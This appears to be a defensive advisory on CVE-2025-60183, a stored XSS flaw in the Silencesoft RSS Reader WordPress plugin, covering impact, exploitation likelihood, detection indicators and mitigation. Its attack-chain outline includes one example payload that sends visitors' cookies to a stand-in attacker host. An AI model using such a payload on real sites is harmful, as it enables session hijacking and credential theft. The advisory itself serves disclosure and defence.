CVE-2025-60183: 
WordPress vulnerability analysis and mitigation

CVE-2025-60183 is a Stored Cross-Site Scripting (XSS) vulnerability in the Silencesoft RSS Reader WordPress plugin (slug: external-rss-reader). It affects all versions up to and including 0.6, with no official patch currently available. The vulnerability was reported by researcher Nabil Irawan on July 1, 2025, and published by Patchstack on September 26, 2025. It carries a CVSS v3.1 base score of 5.9 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the Stored XSS variant. An attacker with high privileges (Administrator or Developer level) can inject malicious scripts into the plugin's RSS reader functionality, which are then persistently stored and executed in the browsers of users who visit the affected pages. Exploitation requires user interaction — a privileged user must perform an action that triggers the stored payload. The attack vector is network-based with low attack complexity (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the WordPress site, which execute in the context of visiting users' browsers. This can lead to session hijacking, credential theft, unauthorized redirects, defacement, or delivery of malicious content to site visitors. Because the scope is changed (S:C in CVSS), the impact extends beyond the plugin itself to affect the broader browser environment of end users (Patchstack).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. Exploitation requires high-privilege access (Administrator or Developer), which significantly limits the attack surface. The vulnerability has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been identified (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Silencesoft RSS Reader plugin (slug: external-rss-reader) version 0.6 or earlier, using tools like WPScan or by inspecting plugin directories.
2. Obtain privileged access: Gain Administrator or Developer-level credentials to the WordPress admin panel through phishing, credential stuffing, or other means.
3. Inject malicious payload: Navigate to the plugin's configuration or RSS feed input area within the WordPress admin panel and insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field.
4. Payload persistence: The malicious script is stored in the WordPress database as part of the plugin's data.
5. Trigger execution: When a site visitor or administrator loads the page rendering the RSS reader output, the stored script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Patchstack).

• Logs: WordPress access logs showing POST requests to admin pages associated with the Silencesoft RSS Reader plugin configuration containing encoded script tags or JavaScript event handlers.
• Database: Unexpected <script> tags, JavaScript URIs (javascript:), or HTML event attributes (e.g., onerror=, onload=) stored in WordPress database fields associated with the external-rss-reader plugin options.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the RSS reader widget, potentially indicating cookie or credential exfiltration.
• File System: No specific file-based IOCs expected for a stored XSS; however, review WordPress option tables and plugin data for injected script content.

As of the publication date, no official patched version of the Silencesoft RSS Reader plugin is available. The recommended immediate action is to deactivate and remove the plugin from affected WordPress installations. Site administrators should also enforce strong access controls to limit who holds Administrator or Developer roles, reducing the risk of a privileged attacker injecting payloads. Monitoring with a WordPress security solution such as Patchstack can provide virtual patching until an official fix is released (Patchstack).